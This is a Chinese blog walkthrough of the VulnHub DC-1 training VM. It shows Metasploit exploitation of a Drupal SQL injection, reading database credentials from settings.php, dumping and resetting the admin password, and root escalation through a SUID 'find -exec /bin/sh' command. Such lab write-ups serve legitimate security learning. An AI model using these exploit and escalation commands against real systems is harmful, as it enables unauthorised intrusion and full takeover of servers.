一年好景君须记,最是橙黄橘绿时。这篇文章主要讲述靶机DC-1相关的知识,希望能为你提供帮助。
靶机DC-1
简述该靶机需要找到5个flag
靶机下载地址(.ova):https://download.vulnhub.com/dc/DC-1.zip
信息搜集阶段目标主机的ip是未知的,使用扫描工具对网段进行探测
我这里使用的是fscan,目标虚拟机设置为NAT模式,对目标网段进行扫描
一般排除一下就可以确定目标主机了,目标主机为192.168.48.132
这里还扫出了漏洞信息
![靶机DC-1](http://img.readke.com/220524/024342D24-0.jpg)
文章图片
在msf里搜索下关于drupal的漏洞信息
第二个就是上面扫出来的sql注入漏洞
![靶机DC-1](http://img.readke.com/220524/02434253U-1.jpg)
文章图片
漏洞利用利用该漏洞,并设置参数
set targeturi 192.168.48.132 目标路径
set RHOSTS 192.168.48.132 目标ip
set RPORT 80 目标端口
show options 查看该模块设置参数
![靶机DC-1](http://img.readke.com/220524/0243421942-2.jpg)
文章图片
设置完成后,输入exploit开始运行
运行成功后,可以操作目标服务器了
![靶机DC-1](http://img.readke.com/220524/0243424223-3.jpg)
文章图片
ls查看下文件,找到flag1.txt
![靶机DC-1](http://img.readke.com/220524/024342JJ-4.jpg)
文章图片
【靶机DC-1】
![靶机DC-1](http://img.readke.com/220524/0243426224-5.jpg)
文章图片
提示我们找配置文件
切换到drupal配置文件路径下
/sites/default/settings.php
可以看到数据库的用户名密码和flag2.txt
注意这里说暴破不是唯一方法
![靶机DC-1](http://img.readke.com/220524/024342NY-6.jpg)
文章图片
![靶机DC-1](http://img.readke.com/220524/0243421118-7.jpg)
文章图片
用上面得到的用户名和密码尝试登录mysql
进入shell模式后,登录mysql发现报错了
这里查了下,是需要用python转换成标准的shell才能执行
输入python -c " import pty; pty.spawn(\'/bin/sh\')" 即可
括号里的路径应该与上面报错提示的路径一样,有的可能是/bin/bash
![靶机DC-1](http://img.readke.com/220524/0243425301-8.jpg)
文章图片
输完上面的指令后出来$符即可,然后登录mysql
show databases; 查看数据库
use drupaldb; 切换drupaldb数据库下
show tables; 查看当前数据库下的表
select * from users; 查看user表中的内容
![靶机DC-1](http://img.readke.com/220524/0243422115-9.jpg)
文章图片
发现密码都加密了
![靶机DC-1](http://img.readke.com/220524/024342FH-10.jpg)
文章图片
scripts目录下有个password-hash.sh,试下能不能解开
发现只能加密不能解密,而且运行这个脚本需要退到/var/www路径下执行
![靶机DC-1](http://img.readke.com/220524/0243425529-11.jpg)
文章图片
没法解密那就更新替换掉admin密码
![靶机DC-1](http://img.readke.com/220524/0243426219-12.jpg)
文章图片
使用更改后的admin密码登陆网站
找到flag3,需要提权的意思
![靶机DC-1](http://img.readke.com/220524/02434229E-13.jpg)
文章图片
![靶机DC-1](http://img.readke.com/220524/024342K31-14.jpg)
文章图片
里面提到了passwd,查看下/etc/passwd
找到flag4.txt,切换到对应的路径下查看该文件
![靶机DC-1](http://img.readke.com/220524/0243421a2-15.jpg)
文章图片
![靶机DC-1](http://img.readke.com/220524/0243424625-16.jpg)
文章图片
提权进行提权获取root权限
find / -perm -u=s -type f 2> /dev/null使用find命令查看拥有suid权限的文件
find / -name flag4 -exec " whoami" \\; 尝试用find执行whoami命令
find / -name flag4 -exec " /bin/sh" \\; 使用find命令提权
这块细节方面可以结合看下find参数和suid提权的文章
![靶机DC-1](http://img.readke.com/220524/02434212L-17.jpg)
文章图片
获取到root权限后,在/root目录下找到最后一个flag
![靶机DC-1](http://img.readke.com/220524/02434212a-18.jpg)
文章图片
还想试下找到root账户的密码,无果
![靶机DC-1](http://img.readke.com/220524/0243424437-19.jpg)
文章图片
推荐阅读
- SpringCloud技术专题「Feign」从源码层面让你认识Feign工作流程和运作机制
- WEB安全新玩法 [11] 防范批量注册
- 测试开发之系统篇-Docker常用操作
- 如何在Django中从HTML创建PDF
- 使用jQuery Plugin Multiselect使用复选框实现可过滤的多选
- 如何在Windows上安装Ruby并建立基本的Hello World
- 用jQuery实现并排多重选择元素
- 如何使用jQuery自动使所有高度相同的div列
- 如何使用jQuery将base64图像转换为图像文件并以异步形式上传